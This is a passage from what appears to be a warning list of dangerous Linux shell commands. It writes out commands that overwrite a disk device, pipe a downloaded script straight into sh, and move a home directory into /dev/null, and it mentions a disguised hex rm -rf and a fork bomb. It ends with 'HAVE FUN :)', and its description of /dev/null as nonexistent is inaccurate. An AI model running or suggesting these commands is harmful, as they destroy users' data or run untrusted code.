This above is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.
Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.
any_command > /dev/sda
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.
wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
mv /home/yourhomedirectory/* /dev/null
This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.
HAVE FUN :)